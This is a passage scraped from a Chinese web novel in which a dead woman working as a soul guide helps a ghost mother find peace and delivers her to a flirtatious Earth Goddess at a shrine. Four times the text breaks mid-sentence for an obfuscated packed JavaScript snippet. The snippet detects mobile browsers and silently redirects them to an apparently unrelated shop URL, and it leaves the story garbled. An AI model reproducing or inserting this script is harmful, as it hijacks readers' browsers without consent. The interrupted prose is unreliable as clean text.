“不过,”李婧歪着头,尽力回想,“家长过来签字带她回家的时候,我看见她家里人好像姓……钟。” 李婧的话像一颗子弹,一下击中白心刚才心里的猜想。她心想果然。 又一个钟馗的后代。 不过不对啊?她又想到,钟槐说她自己是最后一代了,怎么还有个比她小的。 “你问这个做什么?”李婧看着白心,疑惑问道。 “没有没有,”白心呵呵一笑,挠了挠头,“随口一问。” 李婧无奈看了她一眼:“好吧。” 碗洗完了,抹布也早就洗得不能再干净了,白心抬起手腕,正好六点半。 “我要回去了,”白心抬起头看着李婧,笑了笑,“饭很好吃,我下次请你们吃饭。” 李婧也笑了,像刚才进门一样勾住白心的脖子往外走:“不用这么客气。” 走到客厅,她放开白心,掏出手机打开扫一扫:“我还没付钱给你呢。” “什么钱?”白心迷惑。 李婧一愣,抬起手拍了一下白心的头,笑着说道:“摄影的钱啊!” 哦哦哦,白心反应过来,自己现在可是一名专业摄影师。她也掏出手机,打开自己的头像二维码,伸到李婧的手机底下,“滴——”的一声,李婧的手机里立马出现了好友申请界面。 “这是……” “钱晓希已经预付过了,”白心微微一笑,“我们加个好友就行。” 李婧看着白心的白色心形头像,也笑了:“你的头像很有个性。” 白心点点头,表示默认。 其实不是有个性,她想,只是想不到换什么头像。和她想不到取什么网名一样,不知道装成谁,那就做自己。 不是什么文艺青年,也不是要报复全世界,没有艺术细胞,缺乏基本审美,这就是她。 一颗纯白的心。没有任何颜色的,和她的灵魂一样的,白色的心。 白心通过了李婧的好友申请,把手机揣进兜里,再次和李婧告别:“我要回家了。” 旁边忽然传来声音,白心转头,看见念念正坐在老人家的腿上,啊了两声,乐呵呵地看着她流口水。 老人家也站起来:“我们送送你吧。” 白心正想说不用麻烦了,李婧却先一步说道:“好啊,正好带念念下楼玩一下。” 白心也只好被迫接受两人一孩的送行,她被李婧拉着走向玄关,边走李婧边说:“你要是想找我玩,随时给我发信息。” 白心走到玄关,换上自己的鞋子,率先打开门:“好。” 她又想起徐珊,明白长大之后的约定总是很难履行,人们总是体面地先答应,然后心照不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785812|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣地爽约。白心想,下一次见面又不知道是什么时候了。 关上门,四个人一起下楼,白心走在最前面,念念和老人走中间,李婧殿后。 傍晚的楼道比起中午更显得破旧,夕阳照在墙壁上,那些涂鸦看得更清晰,她们一路往下,沿着既定的轨迹,走过那些来自旧时光的痕迹。 “阿姨,”李婧忽然说道,“晚上八点后就尽量不要带念念出门了。” 白心边走边看墙上的笔迹,听见李婧在身后说话。 “嗯,”老人回答,“我们七点之后就不出门了。” 李婧点点头:“最近小区不太平,尽量少出门,不要和陌生人说话。” 嗯?白心听见李婧的话,心想这是怎么了,怎么幸福小区也有事。 白心走下最后一节台阶,瞟到阳光下的墙壁上有一行小小的很清晰很新的字:幸福小区闹鬼! 还没仔细看周围的字,李婧就突然拍她的肩膀:“到了!” 白心把头转过来,一看已经到一楼了。 四人走到小区大门,白心回头,跟老人和念念拜拜:“阿姨再见,念念也再见。” 老人微笑着摆摆手,念念也一边啃着拳头一边挥了挥小拳头。 “走吧。”李婧揽着白心的肩膀往公交站台走。 白心把头扭回来,看见李婧的手搭在她的肩膀上。 没有不适感。 她不喜欢别人碰她,对别人的身体总有种生理性抵触,但不知道为什么,李婧碰她她并没有觉得不舒服。 抬起头,李婧眉眼弯弯地看着她:“看什么?” “啊,没有,”白心赶紧把头扭正,边走边说,“走吧。” 两个人走到站台,李婧松开揽着白心的手,把身上背着的摄像机挎在白心的肩膀上:“今天谢谢你了。” “不客气,”白心笑了笑,“和你们玩我也很开心。” 全程放松,轻松愉快,没有任何拘谨和不自在。白心看着李婧天生具有亲和力的脸,心里明白她感到舒适最大的原因就是李婧。 敏感,共情,心系细腻,会照顾她的情绪。白心想,她一定是个很棒的老师。 她的记忆定格到上幼儿园的第一天,这是她整个幼时的模糊记忆里最清晰的一天。 求学生涯的第一天,两岁半的她尚未激活魔童属性,坐在教室里一动不敢动。周围都是陌生的小孩,一半在哭,一半在闹,剩下几个又哭又闹,她夹在中间,想哭不敢哭,想闹不敢闹。 老师还在讲台上宣布放学事宜,她在座位上扭曲不安。终于挨到放学,歪歪扭扭走到校门口,却没有看见熟悉的身影。 她捏着拳头,忍着泪水,等了一个小时,外婆终于姗姗来迟。 看见外婆的一瞬间,她嚎啕大哭。外婆抱着哄她,发现她的屁股又软又黏。 因为害怕,她不敢举手,于是拉在了裤子里。 外婆背着她回家,脱下裤子才明白发生了什么,哈哈大笑,在浴室里一边给她洗澡一边洗裤子。 没有老师发现她拉裤子了,也没有老师注意到她难堪的表情。小小的她不明白老师有太多孩子要管,只是本能感到委屈。 这就是她的人生第一课,委屈的滋味。 李婧看着白心逐渐走神,眼神又不聚焦了,赶紧戳了戳她的肩膀:“想什么呢?” 白心被李婧一戳,如大梦初醒般回过神,看见公交从远处缓缓驶来。 她笑了一下,回答道: “想外婆了。” 22.“哭泣”的医院(十五) 回到家第一件事就是睡觉。 白心关上门,把摄像机一放,整个人就像一条泥鳅钻进了被窝里,澡都来不及洗,倒头就睡,一秒入梦。 刚才在李婧家就眯了一小会儿,并且还没睡着,整个人都在半梦半醒之间,这种状态是最累的,坐在公交车上的时候她像被人打晕了一样困得头点地。 她很快进入了梦乡,梦里混沌又光明,各种颜色交织。 一张巨大的脸出现在她的梦里。 和在李婧家沙发上做的梦一样,五彩斑斓的烟雾缭绕,而后逐渐褪去,只剩下白色烟雾,丝丝缕缕漂浮在空中。 白色烟雾渐渐散开,她看见白烟后面是一张巨大的脸,足有三十层楼那么高那么大。 那张脸大放光明,漫着淡淡金光。她不认识,然而对方垂着眼眸,轻轻呼唤她的名字。 白心。 她站在云雾里,忽然感觉到一种不知从何而来的幸福感。欢快、满足、安宁,一种单纯的、由衷的、不掺任何杂质的幸福快乐的感觉。 像小时候被妈妈抱在怀里的那种感觉。 对方又呼唤她,白心。 她抬起头,看见对方的眼神充满慈悲。 你是谁?她问道。 对方没有回答,而是闭上了眼睛,白心感觉到自己的身体突然下坠,强烈的失重感袭来,仿佛掉下了悬崖。 她猛地惊醒。 睁开眼,月光淡淡地照映在房间里,白心抬起手臂,竟然已经十一点五十五了。 她一秒从床上爬起来,左看右看,才看到摄像机被她放在了门口。 竟然困成这样。白心看着玄关地毯上的摄像机背包,不禁对自己无语,这么贵的相机就直接被她放在了地上。 她下床穿鞋,走到门口把摄像机抱起来。 还不知道怎么把照片传到手环里呢。 正准备转身,她忽然听到了对面邻居开门的声音。 白心心里一惊,想起白天邻居在公交站台和她的对话。高姐的眼神和脸上的疤无一不告诉她对方绝不是一个简单的女人。 鬼使神差般地,她向前挪了两步,慢慢把脑袋凑向了她家大门的猫眼。 漆黑一片,什么都看不见。 不对啊,楼道不是有灯吗,难道又坏了?白心皱着眉,闭着左眼,右眼盯着猫眼一动不动。 十秒后,她反应过来了。不是一片漆黑,也不是灯坏了。 这是一只眼睛。 一只眼睛正在门外看着她。 白心像被闪电劈中了脊柱,麻感从尾椎骨一路往上攀到了头顶。她站在原地,吓得一动也不敢动,喉咙也被掐住了一样发不出声音。 两个人隔着门对视,白心屏住呼吸,好像只要发出一点声音就会被对方发现。 又来了。白心想起昨晚邻居趴在她门上偷窥的样子,心里逐渐升起一种不好的感觉。 难道她每天都这样看她。 手环忽然震动,把白心从可怕的幻想里拉了出来,她整个人也震了一下,立马离开了猫眼。 她立即蹲下来,从旁边的鞋盒里轻轻掏出来一把梅花起子。这是她的工具箱,平时要用到的五金工具全收在这个鞋盒里。 她蹲在门口,右手握着梅花起,静静听着门外的动静。 抬起手腕,看见时间已经到了十一点五十九分,手环震动是提醒她马上要灵魂出体了。 该死,白心咬着牙,只有一分钟了。 她闭着眼,一边等待着倒计时,一边听着门外的声音。 十秒后,邻居关上了门。 呼——她松了一大口气。下一秒,她看见自己浑身泛着淡淡的光芒。 她的灵魂出来了。 白心站起来,看见自己的肉身像一滩烂泥倒在门口,衣服皱巴巴,头发乱糟糟,手里还握着一把起子,不知道的以为发生什么凶杀案了。 她深吸一口气,鼓起勇气重新趴在猫眼上看。 这次是真的什么都没有。楼道的黄色灯光忽亮忽灭,她看见邻居家的深棕色大门紧闭。 她又深呼一口气,低下头大口呼吸。 啧。 低头就是自己这副告发子般的模样。她大啧特啧,气还没喘匀,弯下腰伸出双手,架住两边的嘎吱窝就把自己往床边拖。 倒是很轻。很快她就把自己拖到了床上,没费什么力气。 她把自己的身体好好地摆在床上,盖上被子,还把头发也理了一下,两只手端庄地交叠在盖被上,神态安详,宛如一位睡公主。 这才对嘛。她满意地点点头,一边欣赏自己一边伸出手给自己摆了个微笑唇。 要笑。 手环又是一阵震动,把她从自恋中震醒,白心抬起手一看,好像有人给她发消息来了。 她立即点开手环,投影出现在了空中。 她看着那个熟悉的库洛米头像,笑了。 钟槐:你在哪? 白心的手指在屏幕上戳戳点点,回复:还在家。 钟槐:我来找你。 白心刚编辑好“为什么”三个字,想了想又删掉了。 或许不问,才是最好的。白心想,钟槐比她认识她更早认识她,她想做什么,一定有她的理由。 白心:好。 关上手环,白心又站起来,走到玄关处的相机前蹲了下来。 “喂,”她抬起手臂,问道,“你在吗?” “在的呢主人。”清脆甜美得像砂糖橘一样的声音重新响起。 “你知道怎么把摄像机里的照片导到手环里吗?”白心问道,这手环太高级,她不知道怎么操作。 手环立即回答:“把手环靠近需要传输数据的设备,就可以直接传输了呢。” 白心立刻把左手手腕贴在摄像机的背包上,手环的投影又弹了出来,上面显示一行字:是否确认输入照片145张? 我勒个豆,白心想,太高级了。 她点点头,“是。” 确认后,屏幕里的字变成了一条进度条,实时显示着传输进度。 啧啧啧,白心边看边感叹,这技术要是她能学会,当今的世界首富就得易主了。 最后一张照片传完,白心突然听到楼下传来一阵汽车鸣笛声。 她站起来关掉手环,走向窗边,正想看看是谁大半夜这么没素质,就看到钟槐一身红棕色皮衣,正靠在一辆豪车上玩手机。 白心:? 喇叭又响了一声,白心看到声音正是从这辆黑色豪华轿车发出来的。 钟槐抬起头,看到白心站在窗边一动不动,像个傻子。她关掉手机,双手抱胸,和白心对视,想看看这人到底打算对着她发多久的呆。 白心:这是劳斯莱斯幻觉吗? 豪车通体透亮,散发着低调奢华但又气质非凡价格不菲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791876|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡黑光,在月光的映衬下显得神秘又高级。白心看到钟槐站在车尾,驾驶位还坐着一个人,但她看不清。 如果钟槐之前那辆机车价值两百万rmb,那么这台车的价格起码是它的十倍。 太夸张了。白心的左脸微微抽动,生前没坐过豪车,她想,死后倒是坐上了。 她立马转身,以最快的速度冲出了家门,冲到了楼下,冲到了钟槐面前。 “白心。” 钟槐站在车尾,看着面前气喘吁吁的白心,又笑着和她打招呼: “你好啊。” “能换个开场词吗?”白心却没有看她,而是看向了她身后的豪车。 她看着驾驶位,那里坐着一个浑身散发着白光的人,甚至比她身上的光芒还要白,接近透明。 那人没有看她,而是双手放在方向盘上,目视前方,似乎随时等待着发车指令。 寸头、皮衣、脖子处若隐若现的纹身……白心皱着的眉头舒展开来,大吃一惊。 是他?! “怎么了?”钟槐看她这副样子,又笑了笑,转身替她拉开车门,“你们不是见过吗?” 白心机械地钻进车里,坐在了柔软的坐垫上,看着鬼火少男的后脑勺,问道:“他怎么变白了?!” 明明两人交手的时候这人浑身漆黑,看她的表情恨不能把她吃了,明晃晃S级恶灵一个,怎么现在变得和她一样白了? 钟槐关上车门,拉开副驾驶的门也坐了进来。她系上安全带,笑着说道:“走吧王二。” 王二? 白心:“他叫王二?” 钟槐点点头:“现在是叫王二,以前叫什么不知道,但也不重要。” “什么意思?” 白心坐在后座,老鼠一样在两人之间探头探脑,像发现了世界第八大奇迹一样不可思议。 王二手刹一拉,油门一踩,劳斯莱斯幻觉就丝滑地飞了起来。 这车还会飞?! 白心朝窗外看去,这车正腾空而起,缓缓离开了地面,很快就到了半空中,和她住的楼层一样高了。 她住七楼。 白心甚至还能透过她家的窗户看到自己的床,她看见自己正躺在床上,睡得十分安详。 “坐好了。”钟槐出声提醒,白心还没反应过来,汽车就像子弹一样飚了出去。 白心只觉得自己人在前面飞魂在后面追,还没完全坐稳车就停下来了。 “到了。”钟槐又说道。 白心缓缓扭头,看见窗外几个硕大的字“安宁区妇幼保健院”正和她在同一水平线上。 汽车下降,很快到了地面,安安稳稳地停在了医院的大门口。 白心坐在后座,一动不动。这一切发生的太快,她的反射弧还没有跟上来。 “去吧,”钟槐又说,“我就在这里等你,之后我会和你解释。” 白心朝窗外看去,看见医院的住院部门口站着一个熟悉的蓝色身影。 钟槐看她迟迟不动,叹了口气,率先下车,替她拉开车门:“你不是今晚要来接她吗?” “谢……谢谢。”白心终于醒了过来,她慢慢往外挪屁股,一脚跨出了昂贵的车门。 她站在熟悉的地面上,看见刘晓希在前方和她招手。 “不客气,”钟槐一把关上车门,重新坐回副驾驶,叮嘱道,“速去速回,今晚还要带你去土地庙。” 23.阿赖耶识 白心回头,看见钟槐坐在副驾驶,说完后继续玩起了手机,旁边的王二还是那副随时准备出发的样子,一言不发地坐在座位上。 大小姐这是给自己找了个专属司机? 她想起那天被拴在机车后座的王二,刚遇见他的时候像只发了疯的野狗就朝她扑了过来,然后就被钟槐一秒制服,拴狗一样拴到了机车上和她们飘了一路。 而现在的他,一身白光,情绪稳定,宛如一只听话的家犬,和之前根本判若两狗—— 训狗大师。 白心把头转回来,笑了一下,虽然不知道钟槐用了什么方法,但能让一个黑色的恶灵变成现在纯白色不掺一丝杂质的灵魂,想必手段非凡,非她这种普通引渡人能做到的。 她抬起头,迈出步子,也举起手和站在门口等候多时的刘晓希打招呼。 “白心,”刘晓希看着浑身发着白光的白心逐渐靠近,微笑着和她打招呼,“好久不见。” 白心在她面前站定,笑着回答:“不是昨晚才见过吗?” 她看见刘晓希眼眶的那圈红色已经淡了许多,整个人平静柔和,看见她后也没有十分激动。 有一种接受了命运般的安然。 “度日如年。”她说。 “还上去吗?”白心笑了笑,“还是就在这里看?” “就在这里吧,”刘晓希说,“我想快点看完。” “那边还有人在等你。”刘晓希笑着指了指门口的豪车,说道。 白心回头,看见那辆豪车安静地停在医院门口,和旁边路上又脏又旧的汽车简直是云泥之别,钟槐和王二坐在里面,像不羁大小姐和她的野犬。 白心呵呵一笑,转过头来:“无妨,反正他俩没事干。” 听钟槐的意思,今晚她是过来带她去土地庙的,看来不用去上班捉鬼,王二有没有事就不知道了,但是她想,他就算有事应该也得听大小姐的。 白心走上台阶,和刘晓希并排站在住院部大门口,抬起头,满天的星星。 没有下雨。 她笑了,想起昨晚淋成落汤鸡一样的自己,现在竟然和罪魁祸首一起在这星空下欣赏自己的摄影艺术。 果然,她迎来了一个多姿多彩的鬼生。 她点开手环,屏幕亮起,又点开背包,看见里面除了哭丧棒银手铐和钟槐送她的白色头盔外,旁边的格子里又多了一项:幸福小区照片x145。 她点开照片,画面就像幻灯片一样放了起来。 她侧过脸,看见刘晓希的侧脸柔和平静,充满柔情。她没有哭,而是面带微笑,那些幸福的画面一帧帧闪过,在她的脸上交相辉映。 白心把脸转过来,低下头看自己的脚尖。她明白,这一刻,刘晓希成长了。 坚强、温柔、充满慈悲。她不再怨恨,也不再悲伤,而是坦然接受了命运的安排。 她变得强大。 白心看着自己脚尖,想起了李婧、想起了陈灵、想起了自己的母亲。 她们同样强大。 是不是母亲都是这样?她忽然想起一句不知道从哪儿看到的话:母亲是这个世界上最接近神的人。 妈妈。她想起墓碑上那张年轻的脸,她不敢轻易回忆的人。 “好了,”刘晓希忽然开口,“结束了。” 白心抬起头,看见照片已经放到了最后一张,是她们四个人的合照,她和李婧一左一右,老人抱着念念站在中间,背景是念念家客厅的淡黄色窗帘。阳光被窗帘隔绝在外,却还是有一些从缝隙里钻了进来,光柱打在木地板和墙上,整个画面弥漫着漂亮的金色光芒。 四个人都笑得很开心,融洽得仿佛一家人。 “谢谢你,”刘晓希转头看她,“白心。” 不知道为什么,白心一瞬间忽然觉得有点想哭。她不是个容易共情的人,但这一刻,她好像体验到了命运的残酷。 刘晓希沉浸在执念中不肯脱身的疯狂模样没有触动她,而此刻她微笑着接受命运的坦然样子却像一根针刺穿了她的心脏。 忽然,刘晓希的身体闪了一下。白心看到一团拳头大小的蓝光从刘晓希的头顶冒了出来,停在了她头上大约十厘米左右的地方。 这是什么? “还愣着干什么。”钟槐不知道什么时候出现在了旁边,站在了两人面前。 她双手抱着胸对白心说道:“快拿出你的手环收进去啊。” 白心想起来了,这是“阿赖耶识”。 阿赖耶识,灵魂种子。 员工手册里讲过,每个灵魂都有一个“阿赖耶识”,类似于人类的心脏,别名灵魂种子,是一个灵魂存在的根基。 执念越深,灵魂种子越大越亮,每个引渡亡魂的人必须收集到灵魂种子才算完成任务。 白心抬起左手,将手环靠近刘晓希的头部,手环立即强烈震动:“识别到亡魂刘晓希的阿赖耶识,正在进行收集。” 那团蓝光渐渐靠近她的手环,然后慢慢融进屏幕,最后完全消失在了手环里。 白心重新点亮屏幕,点开背包,看到那145张照片旁边的格子里多了一团蓝光。 手环又是一阵震动,白心看到她接单的“大厅”右上角多了一个红点,点开大厅,“已完成”列表也多了个红点,她点开,那个代表任务的黑色方框已经变灰了。 她抬起头,看见刘晓希的颜色变了。 变得和她一样白。 员工手册第五条:阿赖耶识析出,灵魂回到无执念状态,颜色为白色或浅白色,此时为最佳投胎状态。 “走吧,”钟槐看见白心已经收集完毕,又说道,“该上路了。” 白心点开背包,看见黑无常给她的手铐还在格子里。她想起他告诉她的,给亡魂铐上手铐,就可以接引他们回地府。 但是…… “我可以不用手铐吗?”白心关掉手环,看着钟槐,问道。 钟槐刚准备转身,就看见白心一言严肃地朝她发问。 她不知道白心要干什么,但还是回答道:“当然。” “真的?”白心的眼睛一下子亮了,脸色也柔和许多,“那我要怎么带她去地府?” 钟槐挑了挑眉:“你本来就去不了地府,手铐对你来说顶多是个战斗工具。” 对哦,她想起来了,她进不了地府,因为她没有投胎资格,现在进地府只能去地狱。 “那要怎么做?”白心皱眉,仍然看着钟槐。 手铐没用,她也进不了地府,那刘晓希要怎么去投胎? 钟槐却潇洒转身,迈开大步走向那辆豪车,马尾在空中划出一道弧形:“所以啊,现在要去土地庙,再不去人家都下班了。” 白心抬起手一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797768|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚好凌晨一点。 土地庙?她放下手,皱着眉回想。 员工手册里也没说这一步啊?她反复回想,只记得手册里说直接给亡魂铐上手铐就可以直接传送进地府了,没有说还要去土地庙之类的。 土地庙她倒是听说过,以前不知道在哪刷到过一篇帖子,说人死后要先去土地庙报道,注销户籍才可以去地府。 但地府发展日新月异,早就不用这种土方法了,难道现在给她用上了? 白心牵起刘晓希的手就往前跑,努力追赶钟槐:“是不是可以从土地庙去地府?” “是,”钟槐在车门前站定,“这一百年来,你是第二个启用土地庙的人。” 白心:??? 钟槐拉开后门,对着两只呆呆愣愣的白色灵魂说道:“请吧,美女们。” 白心顶着一脑袋问号钻进车里,右手仍然牵着刘晓希没有放开,两人坐好后,钟槐一把关上车门,以最快的速度在副驾驶坐好,对着王二吩咐道:“走吧。” 王二一秒接旨,拉下手刹,踩下油门,让车慢慢飞起来。 白心坐在后面,转头看见刘晓希安安静静坐在旁边,十分乖巧,不哭不闹,身上的颜色也和她一样,和昨天简直判若两人。 “你感觉怎么样?”白心问道。 “很好,”刘晓希笑了一下,“我要有一个新的人生了。” 白心看到刚才她看见钟槐后不再害怕,知道她已经完全接受了自己马上要去地府投胎。她也笑了:“是啊,下辈子不要随便哭了。” “嗯。”刘晓希点点头。 车还在上升,钟槐坐在前面,听到白心的话后突然轻笑一声,白心立即问道:“你笑什么?” 钟槐不再笑,目视前方,淡淡回答道:“笑你和小时候一样。” 什么意思?白心又问道:“小时候?” “正义感十足啊,”钟槐回答,语气平静,听不出情绪,“像保护我姐姐一样。” 原来是这个意思。白心在心里嗤了一声,刚想说钟槐没大没小,说话语气跟她比她小似的,就听到钟槐轻轻叹了口气,说道:“白心,你要学会自私一点。” 嗯?钟槐突然一本正经的说话,白心一时间都没反应过来。正想问她怎么了,车就又飚了出去,白心整个人向后仰,贴在了后座上。 不知道过了多久,车停了下来,钟槐又说道:“到了。” 白心和刘晓希像两张春饼贴在车后座,和背后的靠垫死死粘在一起,差点撕不下来。 “这司机技术不行,”白心捂着胸口,有点头晕,“生前驾照没考过吧?” 也是,她想,王二是死于车祸,要是技术够硬,也不至于骑个摩托车都被撞飞。 钟槐微微一笑:“够用就行。” 也是不挑。白心听到她的回答,略微无语,好歹是司机,选个懂交通规则的行不行?光长得帅有什么用。 车辆缓缓下降,白心慢慢抚摸着胸口,从窗户看下去,看见了下方是一座很小的庙观。 庙前的空地坐着一个人,躺在摇椅上悠悠晃着,手里拿着一把大蒲扇摇来摇去,很是悠闲的模样,看不出是男是女。 “那是谁?”白心好奇问道。 钟槐看都不看,坐在座位上眼皮都不抬一下,回答道:“土地婆。” “一个癫婆。” 24.土地庙 汽车缓缓下降,稳稳当当停在土地庙前。 刚一停稳,白心就听到车外传来一阵银铃般清脆的笑声,她转头看去,那张摇摇晃晃的摇椅上躺着一个女人。 女人拿着蒲扇,翘着二郎腿,边晃边扇,看见她们后笑得十分开心。 “稀客呀,”女人说道,“好久不见了,钟小姐。” 钟槐却沉默着没有回应,一言不发地打开了车门下车,白心见状也赶紧拉开车门,牵着刘晓希下了车。 白心看着面前这个十分年轻的女人,惊得下巴都快掉到地上了——这土地婆怎么和她想象得不一样? 女人穿着一套豹纹睡衣,随意扎了个丸子头,丹凤眼,吊梢眉,素面朝天却美得极其惊艳。她躺在摇椅上,一副慵懒的样子,看见她们来了也没站起来,而是眯着眼睛看着钟槐。 这是王熙凤吗?白心微张着嘴,一动不动地盯着女人——这人有三十岁吗? 土地婆和钟槐打完招呼,看见钟槐似乎没有理她的意思,转头看向白心和刘晓希。 她细长的眼睛微微睁大,看着白心,说道:“这小姑娘可不简单呐。” 小姑娘?白心嘴角抽搐,心说你还不一定有我大呢。 说完,土地婆摇了摇扇子,不再看她,而是看着天空,长长地叹了口气:“十年了,又来一个,你姐姐……” “差不多得了,”钟槐突然开口,语气生硬,“朱萸。” 白心觉得气氛突然变得十分紧张,还没仔细琢磨她俩的话就听见土地婆又慢慢悠悠说道:“我可不会帮她。” 啥意思? 白心看着两人针尖对麦芒一样的眼神,还有尖锐得恨不能戳死对方的语气,心想这俩是冤家啊还是仇人啊? 钟槐却咬着牙齿,一字一句道:“你,必,须,帮,她。” 朱萸手里的蒲扇不再摇晃,她看着钟槐,钟槐也看着她,谁也没说话,就这样互相盯着对方。 半晌,朱萸妥协了一般轻叹了口气。 “算了,”她重新闭上眼睛,摇晃蒲扇,“是我欠你的。” 白心完全没看懂这出戏,虽然话题的中心是她,但她掌握的信息堪比路人甲,根本不知道她俩在说什么。 “小妹妹,”朱萸睁开眼看向白心,笑眯眯说道,“以后就把人送我这来吧,我帮你带他们去地府。” 哦,白心明白了,她俩说的就是这事。她无法直接带着亡魂去地府,就可以直接送到土地婆这来。 还真是以前的土办法,她想,不过这有啥可吵的? “你现在还不能投胎吧,”朱萸摇着蒲扇,缓缓说道,“功德这么低,去地狱道都够呛啊。” 白心:? 她把功德写脸上了吗? 朱萸却仿佛知道她在想什么,笑着说道:“所有人都逃不过我们的眼睛,是善是恶,一眼分明。” “现在的人呐,总是喜欢烧香拜佛,求这求那,抱着侥幸心理,实际上心纯不纯,我们都知道,”朱萸翘起嘴角,笑得十分邪恶,“自己犯了罪,却奢望烧点香就能洗清孽债。” 她笑眯眯的:“你说,是不是一群脑残?” 这是在说她吗?白心看着朱萸那双动人心魄的眼睛,心说她可没有经常去寺庙烧香啊,上一次还是陪陈灵去的。 她也没有这种爱好,从她命途多舛颠沛流离的成长过程就看得出来,神根本懒得理她。求佛不如求自己,她坚信人要过上好日子必须充分发挥主观能动性。 至于犯罪,她想,虽然钟槐说过她不是恶鬼,但是想必上辈子也不是什么善茬,不然朱萸也不会这样看着她。 呵呵,白心在心里冷笑一声,不管啥原因,功德低就是低人一等哈,谁都能骂两句。 “好了,”钟槐转身,不打算再跟土地婆多说一句话,“我要走了。” 就走?白心抬起手腕,这才一点半,走得也太快了吧。 “这车不错,”朱萸看着那辆豪车,笑着说道,“小帅哥也不错。” “借我玩玩?” 此话一出,白心不禁看向钟槐的脸,心里莫名有点害怕,心想朱萸这是说车呢,还是说人呢? 钟槐却冷笑一声,拉开车门就坐了进去,一个眼神也没给朱萸,也一句话都没说。 车轮离开了地面,车身缓缓升了起来,即刻就要飞走。 “你还在恨我吗?” 朱萸看着逐渐上升的车和里面的人,大声喊道。白心看着朱萸,她的眼神晦暗不明,里面涌动着她看不懂的情绪。 钟槐还是没有回答,待车升到一定高度,王二油门一踩,两人一车就消失在了夜空里。 三个人同时抬头看着汽车离开的方向,一起目送钟槐远去。 月明星稀,空气瞬间安静,只有远处隐隐约约的蝉鸣和蛙鸣。 白心率先回头,对着朱萸说道:“那个……是把她交给你就行了吗?” 朱萸听见她的话,终于低下头,看着白心旁边的刘晓希。 她点点头,没有了刚才和钟槐对峙那剑拔弩张的气焰,整个人都柔和了许多,慢慢说道:“是,以后你都把人送我这里来就行了。” 白心也点头:“好的,那我走了。” 她转过身,两只手握住刘晓希的手,看着她的眼睛,说道:“你跟着她走就可以了,她会带你去地府投胎的。” 刘晓希“嗯”了一声,乖巧地点头。 白心放开刘晓希的手,转身正打算走,就听见朱萸在身后喊道:“你什么都不问吗?” 白心回头,看见朱萸眯着眼,微微笑着,一副试探和打量她的样子。 她想起和钟槐在墓园的初遇,钟槐的眼神也是这样,眯着眼睛,像只狐狸。 “问了你就会说吗?”白心转过身,认真说道。 当一个人问出这种问题,就注定了她不会回答。白心知道,不到合适的时机,她们是什么也不会说的。 就跟钟槐等她从医院出来后才愿意告诉她钟榆的事一样,非要经过试探,才肯告诉她部分事实。 她们背后好像隐藏着什么秘密,而这个秘密,似乎与她有着某种关联,但是—— 她现在不想知道。她只想好好打工,收集功德,然后安安心心去投胎。赎罪也好,上天也罢,她只想管好这辈子的事。 “我活了一百二十六年了,”朱萸听见她的反问后轻轻笑了,“你是第一个看见我之后什么都不问的死人。” 等等,白心瞪大眼睛,一百二十六年? 她看着眼前五官精致皮肤白嫩的女人,心说开玩笑吧,二十六年都嫌多了。 “怎么,不信啊?”朱萸又晃起了摇椅,呵呵一笑,似乎知道她在惊讶什么。 她扇着蒲扇,慢慢说道:“我是第三十六代土地婆,是神仙,自然活得久。” 也是,白心立马反应过来了,人家是神,不是凡人,仙体怎么能和肉体凡胎比呢。 朱萸又说道:“就是你们这些小鬼头,搞得我摸鱼都摸不了。” “摸鱼?”白心眼角微抽,好现代化的词汇。 朱萸叹了口气,说道:“以前人死后,确实需要到我这来认证身份,但是自从地府发明了这手环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802240|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们就可以直接进入地府,不用再经过我手了。” “我都摸了十年的鱼了,”她看着远方,怀念地说道,“快乐的日子总是短暂啊。” 回忆结束,她直起身子,瞪着那双漂亮眼睛看着白心,没好气说道:“没想到你连地府都进不了,搞得我还要重操旧业,烦死了。” “抱歉,”白心呵呵一笑,“我也不想。” 她十分理解,摸鱼摸得好好的突然飞来一个工作是什么感觉,确实让人十分不爽。 “算了,”朱萸往后一仰,又躺在了椅子上,“还好只有你一个,事也不多。” 